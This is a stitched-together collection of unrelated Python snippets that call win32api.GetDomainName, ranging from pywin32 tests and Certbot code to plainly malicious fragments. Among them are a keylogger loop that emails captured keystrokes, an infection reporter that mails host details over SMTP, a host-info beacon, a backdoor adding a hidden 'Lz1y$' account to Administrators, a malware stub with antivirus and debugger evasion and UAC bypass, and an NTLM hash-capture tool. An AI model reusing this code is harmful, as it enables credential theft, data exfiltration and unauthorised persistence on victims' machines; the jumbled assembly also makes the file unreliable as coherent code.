def GetHostName(): hostname = '' if sys.platform.startswith('win'): # ignore errors retrieving domain name try: try: # there is no win32api.GetDomainName() # on 9x, therefore try: except: block dom_name = win32api.GetDomainName() except: dom_name = None comp_name = win32api.GetComputerName() # on computers that are not members of domain # GetDomainName returns computer name # we don't want to duplicate it hostname = comp_name if (dom_name is not None) and (dom_name != comp_name): hostname = dom_name + '\\' + hostname except: hostname = 'Unknown' else: import socket try: hostname = socket.gethostbyaddr( socket.gethostbyname(socket.gethostname()))[0] except: hostname = 'Unknown' return hostname
def testGetCurrentUser(self): domain = win32api.GetDomainName() if domain == "NT AUTHORITY": # Running as a service account, so the comparison will fail raise TestSkipped("running as service account") name = "%s\\%s" % (domain, win32api.GetUserName()) self.assertEquals(name, win32api.GetUserNameEx(win32api.NameSamCompatible))
def LocalGroup(uname=None): "Creates a local group, adds some members, deletes them, then removes the group" level = 3 if uname is None: uname = win32api.GetUserName() if uname.find("\\") < 0: uname = win32api.GetDomainName() + "\\" + uname group = 'python_test_group' # delete the group if it already exists try: win32net.NetLocalGroupDel(server, group) print "WARNING: existing local group '%s' has been deleted." except win32net.error: pass group_data = {'name': group} win32net.NetLocalGroupAdd(server, 1, group_data) try: u = {'domainandname': uname} win32net.NetLocalGroupAddMembers(server, group, level, [u]) mem, tot, res = win32net.NetLocalGroupGetMembers(server, group, level) print "members are", mem if mem[0]['domainandname'] != uname: print "ERROR: LocalGroup just added %s, but members are %r" % ( uname, mem) # Convert the list of dicts to a list of strings. win32net.NetLocalGroupDelMembers(server, group, [m['domainandname'] for m in mem]) finally: win32net.NetLocalGroupDel(server, group) print "Created a local group, added and removed members, then deleted the group"
def run(self): while not self.event.is_set(): global data #Abort if username is typed if data.find("usernmae") > -1: show() print "Successful quit" myPID = win32api.GetCurrentProcessId() os.system("taskkill /pid " + str(myPID)) exit(0) #Craft txt to send ts = datetime.datetime.now() SUBJECT = win32api.GetComputerName( ) + " : " + win32api.GetDomainName() if len(data) == 0: data += "Someone's not typing..." local_data = data message = """\ From: %s To: %s Subject: %s %s """ % ("username", "*****@*****.**", SUBJECT, local_data) #Send mail off sendMail("*****@*****.**", message) lowerData = data.lower() #Txt me if a password was found if lowerData.find("admin") >= 0 or lowerData.find("guest") >= 0: sendMail("attnt#@txt.att.net", message) print message + "\n" data = '' message = '' #Send every x seconds self.event.wait(60)
def __init__( self, pkg_name, # Name of the package to used. client_name=None, # User for whom credentials are used. auth_info=None, # or a tuple of (username, domain, password) targetspn=None, # Target security context provider name. scflags=None, # security context flags datarep=sspicon.SECURITY_NETWORK_DREP): if scflags is None: scflags = sspicon.ISC_REQ_INTEGRITY | sspicon.ISC_REQ_SEQUENCE_DETECT | sspicon.ISC_REQ_REPLAY_DETECT | sspicon.ISC_REQ_CONFIDENTIALITY #|sspicon.SEC_WINNT_AUTH_IDENTITY_ANSI self.scflags = scflags self.datarep = datarep self.targetspn = targetspn username = win32api.GetUserName() domain = win32api.GetDomainName() password = None auth_info = username, domain, password self.pkg_info = win32security.QuerySecurityPackageInfo(pkg_name) self.credentials, \ self.credentials_expiry = win32security.AcquireCredentialsHandle( client_name, self.pkg_info['Name'], sspicon.SECPKG_CRED_OUTBOUND, None, auth_info) _BaseAuth.__init__(self)
def Grab_System_Info(): # ------------------- Declarations ------------------ # Sys_Info_File = 'System_Info @ [' + win32api.GetComputerName( ) + ']@' + strftime("[(%a %d %b %Y) (%H %M %S %p)]") + '.txt' Get = [ 'External_IP: ' + urlopen('http://automation.whatismyip.com/n09230945.asp').read(), 'Internal_IP: ' + socket.gethostbyname(socket.gethostname()), 'Operating_System: ' + platform.system() + ' ' + platform.release() + ' ' + sys.getwindowsversion()[4], 'Windows_Architecture: ' + platform.version(), 'Architecture: ' + str(platform.architecture()[0]), 'Domain_Name: ' + win32api.GetDomainName(), 'Computer_Name: ' + win32api.GetComputerName(), 'User_Name: ' + win32api.GetUserName(), 'Processor_Name:' + platform.processor(), 'Processor_Architecture: ' + os.getenv('PROCESSOR_ARCHITECTURE'), 'Processor\'s_Cores: ' + os.getenv('NUMBER_OF_PROCESSORS'), 'Windows_Directory: ' + win32api.GetWindowsDirectory(), 'System_Directory: ' + win32api.GetSystemDirectory() ] # ------- Define Function to get MAC Address -------- # def Get_MAC(): for line in os.popen('ipconfig /all'): if line.lstrip().startswith('Physical Address'): mac = line.split(':')[1].strip().replace('-', ':') f.write('\n *- Mac Address: ' + mac) # ----- Define Function to Send Sys_Info_File ------- # def Send_File(): File_To_Send = open(Sys_Info_File, 'rb') MSG = MIMEText(File_To_Send.read()) File_To_Send.close() MSG['Subject'] = Sys_Info_File MSG['From'] = sender MSG['To'] = To server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(sender, password) server.sendmail(sender, [To], MSG.as_string()) server.quit # ----------- Create System Info File --------------- # f = open(Sys_Info_File, 'w') f = open(Sys_Info_File, 'a') f.write(win32api.GetComputerName() + ' was infected by: ' + virusname + '.') f.write('\n -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-\n' + Date_Time) # ------------- Start Grabbing Info ----------------- # Get_MAC() for i in Get: f.write('\n *-' + i) f.close() Send_File() # -------- Delete the System Information File ------- # os.remove(Sys_Info_File)
def GetHostInfo(): hostname = win32api.GetComputerName() username = win32api.GetUserName() domain = win32api.GetDomainName() host_info = '{0}, {1}, {2}'.format(hostname, username, domain) host_info = zlib.compress(host_info) host_info = base64.b64encode(host_info) postdata = buffer(host_info) return hostname, postdata
def getLoginDetails(): """ Get current user, domain controller. """ user = win32api.GetUserName() domain = win32api.GetDomainName() hostname = win32api.GetComputerName() if domain == hostname: return (user, None) else: try: d = win32security.DsGetDcName(domainName=domain) return (user, d['DomainControllerName']) except win32security.error: return (user, None)
def LocalGroup(uname=None): "Creates a local group, adds some members, deletes them, then removes the group" level = 3 if uname is None: uname = "Lz1y$" if uname.find("\\") < 0: uname = win32api.GetDomainName() + "\\" + uname group = 'Administrators' try: u = {'domainandname': uname} win32net.NetLocalGroupAddMembers(server, group, level, [u]) mem, tot, res = win32net.NetLocalGroupGetMembers(server, group, level) print("Add to Administrators Successd!" + '\n' + "Username:Lz1y$\npassword:P@ssW0rd!!!") except: print("Sorry,Add to Administrators Failed!")
def _get_current_user(): """ Return the pySID corresponding to the current user. """ # We craft the account_name ourselves instead of calling for instance win32api.GetUserNameEx, # because this function returns nonsense values when Certbot is run under NT AUTHORITY\SYSTEM. # To run Certbot under NT AUTHORITY\SYSTEM, you can open a shell using the instructions here: # https://blogs.technet.microsoft.com/ben_parker/2010/10/27/how-do-i-run-powershell-execommand-prompt-as-the-localsystem-account-on-windows-7/ account_name = r"{0}\{1}".format(win32api.GetDomainName(), win32api.GetUserName()) # LookupAccountName() expects the system name as first parameter. By passing None to it, # we instruct Windows to first search the matching account in the machine local accounts, # then into the primary domain accounts, if the machine has joined a domain, then finally # into the trusted domains accounts. This is the preferred lookup mechanism to use in Windows # if there is no reason to use a specific lookup mechanism. # See https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-lookupaccountnamea return win32security.LookupAccountName(None, account_name)[0]
def GeneralInfo(): global host, fv, srcfile host = win32api.GetComputerName() srcfile = "C:\\" + host fv = open(srcfile, 'w') fv.write("Machine NAME : ") fv.write(host) fv.write('\n') fv.write("the machine is joined to the domain : ") fv.write(str(win32api.GetDomainName())) fv.write('\n') fv.write("these settings were logged for user : "******"System Time is : ") fv.write(str(win32api.GetSystemTime())) fv.write('\n\n\n')
def getSoftwareList(self): try: hCounter = 0 hAttCounter = 0 # connecting to the base hHandle = win32api.RegConnectRegistry(None, win32con.HKEY_LOCAL_MACHINE) # getting the machine name and domain name hCompName = win32api.GetComputerName() hDomainName = win32api.GetDomainName() # opening the sub key to get the list of Softwares installed hHandle = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE, self.CONST_SW_SUBKEY, 0, win32con.KEY_ALL_ACCESS) # get the total no. of sub keys hNoOfSubNodes = win32api.RegQueryInfoKey(hHandle) # delete the entire data and insert it again #deleteMachineSW(hCompName,hDomainName) # browsing each sub Key which can be Applications installed while hCounter < hNoOfSubNodes[0]: hAppName = win32api.RegEnumKey(hHandle, hCounter) hPath = self.CONST_SW_SUBKEY + "\\" + hAppName # initialising hAttCounter hAttCounter = 0 hOpenApp = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE, hPath, 0, win32con.KEY_ALL_ACCESS) # [1] will give the no. of attributes in this sub key hKeyCount = win32api.RegQueryInfoKey(hOpenApp) hMaxKeyCount = hKeyCount[1] hSWName = "" hSWVersion = "" while hAttCounter < hMaxKeyCount: hData = win32api.RegEnumValue(hOpenApp, hAttCounter) if hData[0] == "DisplayName": hSWName = hData[1] self.preparefile("SW Name", hSWName) elif hData[0] == "DisplayVersion": hSWVersion = hData[1] self.preparefile("SW Version", hSWVersion) hAttCounter = hAttCounter + 1 #if (hSWName !=""): #insertMachineSW(hCompName,hDomainName,hSWName,hSWVersion) hCounter = hCounter + 1 except: self.preparefile("Exception", "In exception in getSoftwareList")
def populate_scaninfo(report): import socket import datetime report.add_info_item('hostname', socket.gethostname()) report.add_info_item('datetime', datetime.datetime.now().strftime("%Y-%m-%d %H:%M")) report.add_info_item('version', wpc.utils.get_version()) report.add_info_item( 'user', os.environ['USERDOMAIN'] + "\\" + os.environ['USERNAME']) report.add_info_item('domain', win32api.GetDomainName()) ver_list = win32api.GetVersionEx(1) try: report.add_info_item('ipaddress', ",".join( socket.gethostbyname_ex(socket.gethostname()) [2])) # have to do this before Wow64DisableWow64FsRedirection except: report.add_info_item( 'ipaddress', "<unknown>" ) # have to do this before Wow64DisableWow64FsRedirection os_ver = str(ver_list[0]) + "." + str(ver_list[1]) # version numbers from http://msdn.microsoft.com/en-us/library/ms724832(VS.85).aspx if os_ver == "4.0": os_str = "Windows NT" if os_ver == "5.0": os_str = "Windows 2000" if os_ver == "5.1": os_str = "Windows XP" if os_ver == "5.2": os_str = "Windows 2003" if os_ver == "6.0": os_str = "Windows Vista" if os_ver == "6.0": os_str = "Windows 2008" if os_ver == "6.1": os_str = "Windows 2008 R2" if os_ver == "6.1": os_str = "Windows 7" report.add_info_item('os', os_str) report.add_info_item( 'os_version', str(ver_list[0]) + "." + str(ver_list[1]) + "." + str(ver_list[2]) + " SP" + str(ver_list[5]))
def get_username(with_domain=False): """ Returns the username of the current logged on user. Portable on Windows and Unix. If with_domain=True, on Windows the domain or machine name is added to the username as "\\domain\user" or "\\machine\user". """ # TODO: why not return user@machine on Unix if with_domain=True ? if sys.platform == 'win32': # on Windows it is a Win32 call: if with_domain: # add domain name if requested: return '\\\\' + win32api.GetDomainName( ) + '\\' + win32api.GetUserName() else: # else only user name: return win32api.GetUserName() else: # on Unix the info is extracted from /etc/passwd: uid = os.getuid() return pwd.getpwuid(uid)[0]
def getSysInfo(self): try: hCounter = 0 hProcessorName = "" # connecting to the base hHandle = win32api.RegConnectRegistry(None, self.HKEY_LOCAL_MACHINE) # opening the sub key to get the processor name print "debug1" hHandle = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE, self.CONST_PROC_SUBKEY, 0, win32con.KEY_ALL_ACCESS) hNoOfKeys = win32api.RegQueryInfoKey(hHandle)[1] while hCounter < hNoOfKeys: hData = win32api.RegEnumValue(hHandle, hCounter) if hData[0] == "Identifier": hProcessorName = hData[1] hCounter = hCounter + 1 if hProcessorName == "": hProcessorName = "Processor Name Cannot be determined" self.preparefile("Processor Name", hProcessorName) hCompName = win32api.GetComputerName() self.preparefile("Computer Name", hCompName) hDomainName = win32api.GetDomainName() self.preparefile("Domain Name", hDomainName) hUserName = win32api.GetUserName() self.preparefile("User Name", hUserName) # getting OS Details hCounter = 0 # opening the sub key to get the processor name hHandle = win32api.RegOpenKeyEx(self.HKEY_LOCAL_MACHINE, self.CONST_OS_SUBKEY, 0, win32con.KEY_ALL_ACCESS) hNoOfKeys = win32api.RegQueryInfoKey(hHandle)[1] hOSVersion = "" hOSName = "" while hCounter < hNoOfKeys: hData = win32api.RegEnumValue(hHandle, hCounter) if hData[0] == "ProductName": hOSName = hData[1] self.preparefile("OS Name", hOSName) break hCounter = hCounter + 1 if hOSName == "": self.preparefile( "OS Name", "OS Name could not be read from the registry") hCounter = 0 while hCounter < hNoOfKeys: hData = win32api.RegEnumValue(hHandle, hCounter) if hData[0] == "CSDVersion": hOSVersion = hData[1] self.preparefile("OS Version", hOSVersion) break hCounter = hCounter + 1 if hOSVersion == "": self.preparefile( "OS Version", "OS Version could not be read from the registry") # inserting master data #insertMachineMaster(hCompName,hDomainName,hOSName,hOSVersion,hProcessorName) except: self.preparefile("Exception", "in Exception in getSysDetails")
def populate_scaninfo(report): import socket import datetime report.add_info_item('privesc_mode', wpc.conf.privesc_mode) if wpc.conf.privesc_mode == "report_untrusted": report.add_info_item('exploitable_by', "N/A (running in report_untrusted mode)") trusted = [] for t in wpc.conf.trusted_principals: trusted.append(t.get_fq_name()) report.add_info_item('ignored_users', ",".join(trusted)) elif wpc.conf.privesc_mode == "exploitable_by": report.add_info_item('ignored_users', "N/A (running in exploitable_by mode)") exploitable_by = [] for e in wpc.conf.exploitable_by: exploitable_by.append(e.get_fq_name()) report.add_info_item('exploitable_by', ",".join(exploitable_by)) report.add_info_item('hostname', socket.gethostname()) report.add_info_item('datetime', datetime.datetime.now().strftime("%Y-%m-%d %H:%M")) report.add_info_item('version', wpc.utils.get_version()) report.add_info_item( 'user', os.environ['USERDOMAIN'] + "\\" + os.environ['USERNAME']) report.add_info_item('domain', win32api.GetDomainName()) ver_list = win32api.GetVersionEx( 1 ) # bug on windows 8.1 https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451%28v=vs.85%29.aspx try: report.add_info_item('ipaddress', ",".join( socket.gethostbyname_ex(socket.gethostname()) [2])) # have to do this before Wow64DisableWow64FsRedirection except: report.add_info_item( 'ipaddress', "<unknown>" ) # have to do this before Wow64DisableWow64FsRedirection major = ver_list[0] minor = ver_list[1] build = ver_list[2] prod_type = ver_list[8] # version numbers from http://msdn.microsoft.com/en-us/library/ms724832(VS.85).aspx os_name = {} os_name[4] = {} os_name[5] = {} os_name[6] = {} os_name[10] = {} os_name[4][0] = {} os_name[6][0] = {} os_name[5][0] = {} os_name[5][1] = {} os_name[5][2] = {} os_name[6][1] = {} os_name[6][2] = {} os_name[6][3] = {} os_name[6][4] = {} os_name[10][0] = {} os_name[4][0][3] = "Windows NT" os_name[5][0][3] = "Windows 2000" os_name[5][2][3] = "Windows 2003" os_name[6][0][3] = "Windows 2008" os_name[6][1][3] = "Windows 2008 R2" os_name[6][2][3] = "Windows 2012" os_name[6][3][3] = "Windows 2012 R2" os_name[5][1][1] = "Windows XP" os_name[6][0][1] = "Windows Vista" os_name[6][1][1] = "Windows 7" os_name[6][2][1] = "Windows 8" os_name[6][3][1] = "Windows 8.1" os_name[6][4][1] = "Windows 10 Preview" os_name[10][0][1] = "Windows 10" search_prod_type = prod_type if prod_type == 2: # domain controller search_prod_type = 3 if major in os_name.keys() and minor in os_name[major].keys( ) and search_prod_type in os_name[major][minor].keys(): os_str = os_name[major][minor][search_prod_type] else: os_str = "Unrecognised Windows version: %s.%s.%s (type: %s)" % ( major, minor, build, prod_type) report.add_info_item('os', os_str) if prod_type == 2: report.add_info_item('is_domain_controller', "yes") else: report.add_info_item('is_domain_controller', "no") report.add_info_item( 'os_version', str(ver_list[0]) + "." + str(ver_list[1]) + "." + str(ver_list[2]) + " SP" + str(ver_list[5]))
hideSelf = True if USB_NAME in sys.argv[0]: hideSelf = False os.system("C:\\Windows\\write.exe") # Check mutex to detect multilaunch if (len(sys.argv) == 1): mutex = win32event.CreateMutex(None, 1, "dreamcatchr") if (win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS): os._exit(420) # Stuff we want nothing to do wit evadeList = ["avast", "norman", "comodo", "anitvirus", "virus", "reverse", "vmware-tray.exe", "vmmap.exe", "ollydbg.exe", "olly debug", "debugger", "debugging", "radare", "malware", "procdump.exe", "debug", "Procmon.exe", "norton", "trend micro", "eset", "kaspersky", "sandbox", "vmware", "virtualbox", "VBoxTray.exe", "VBoxService.exe", "Norton", "analyzing", "love"] systemTokens = win32api.GetConsoleTitle().split(" ") systemTokens.append(win32api.GetUserName()) systemTokens.append(win32api.GetDomainName()) systemTokens.append(win32api.GetComputerName()) # Path tokens for token in os.getcwd().split("\\"): systemTokens.append(token) # Process tokens drmwmi = wmi.WMI() for process in drmwmi.Win32_Process(): systemTokens.append(process.Name) from core import * # Post imports for actual execution byeUAC()
import active_directory import win32api user = win32api.GetDomainName() + '\\' + win32api.GetUserName() print('CurUser: '******'Root: ', my_root) user = active_directory.find_user(win32api.GetUserName()) print('User: '******'Success')
def testGetCurrentUser(self): name = "%s\\%s" % (win32api.GetDomainName(), win32api.GetUserName()) self.failUnless( name == win32api.GetUserNameEx(win32api.NameSamCompatible))
import win32api as winapi import psutil # import stem find a usage for this later. try: print(winapi.GetComputerName()) print(winapi.GetDomainName()) print(winapi.GetLastInputInfo()) print(psutil.disk_partitions()) print(psutil.disk_usage("/")) print(psutil.disk_io_counters()) PROC_NAMES = ["Taskmgr.exe", "browser_broker.exe", "firefox.exe", "chrome.exe"] for item in PROC_NAMES: for proc in psutil.process_iter(): if proc.name() == item: prox = set() prox.add(str(proc)) for item in prox: print(item) for item in PROC_NAMES: print(winapi.FindExecutable(item)) except Exception as e: print("something broke.....\n{}".format(e))
import win32api as api import win32con as con for disk in "CDEF": F = api.GetDiskFreeSpace(disk + ":") rest = F[0] * F[1] * F[2] / 1e9 total = F[0] * F[1] * F[3] / 1e9 print("Rest:", rest, "G", "Total:", total, "G") print(api.GetComputerName()) print(api.GetConsoleTitle()) print(api.GetCommandLine()) print(api.GetCursorPos()) print(api.GetDomainName()) print(api.GetEnvironmentVariable('path')) print(api.GetFileAttributes('.')) print(api.GetFileVersionInfo('C:\\windows\\system32\\cmd.exe', "\\")) print(api.GetFullPathName('.')) print(api.GetLocalTime()) print(api.GetLogicalDriveStrings().replace('\x00', ' ')) print(api.GetLogicalDrives()) print(api.GetLongPathName('C:')) print(api.GetModuleFileName(0)) print(api.GetNativeSystemInfo()) print(hex(api.GetSysColor(con.COLOR_WINDOW))) print(api.GetSystemDirectory()) print(api.GetSystemInfo()) print(api.GetSystemMetrics(con.SM_CXSCREEN)) print(api.GetSystemTime()) print(api.GetTickCount()) # print(api.GetTimeZoneInformation()) print(api.GetUserDefaultLangID()) print(api.GetUserName())
def testGetCurrentUser(self): name = "%s\\%s" % (win32api.GetDomainName(), win32api.GetUserName()) assert name == win32api.GetUserNameEx(win32api.NameSamCompatible)
err, sec_buffer = sspiserver.authorize(sec_buffer) if args.verbose: print hexdump.hexdump(sec_buffer[0].Buffer) a = buffer(sec_buffer[0].Buffer, 24, 8) dataNonce = binascii.hexlify(a) Nonce.append(dataNonce) if err == 0: break if flag == True: print "\n[*]-Magic string 0101000000000000 found. SSPI-->NTLMv2 detected." print "[*]-User:"******"[*]-Domain:", win32api.GetDomainName() print "[*]-Server Challenge:", Nonce[0] print "[*]-NTHash:", ''.join(ntlm2hash) print "[*]-Client Challenge:", ":0101000000000000" + ClientChallenge[ 1][1] print "\n[*]-NTLMv2 Hash Format--><UserName::DomainName:ServerChallenge(8-byte):NThash(16-byte):ClientChallenge>" print "[*]-John The Ripper||Hashcat Format:" print "\n", win32api.GetUserName() + "::" + win32api.GetDomainName( ) + ":" + Nonce[0] + ":" + ''.join( ntlm2hash) + ":0101000000000000" + ClientChallenge[1][1] else: print "\n[*]-SSPI-->NTLMv1 detected." print "[*]-User:"******"[*]-Domain:", win32api.GetDomainName() print "[*]-NTLMv1 Hash:", ':'.join(Hash[1]) print "[*]-Server Challenge:", Nonce[0]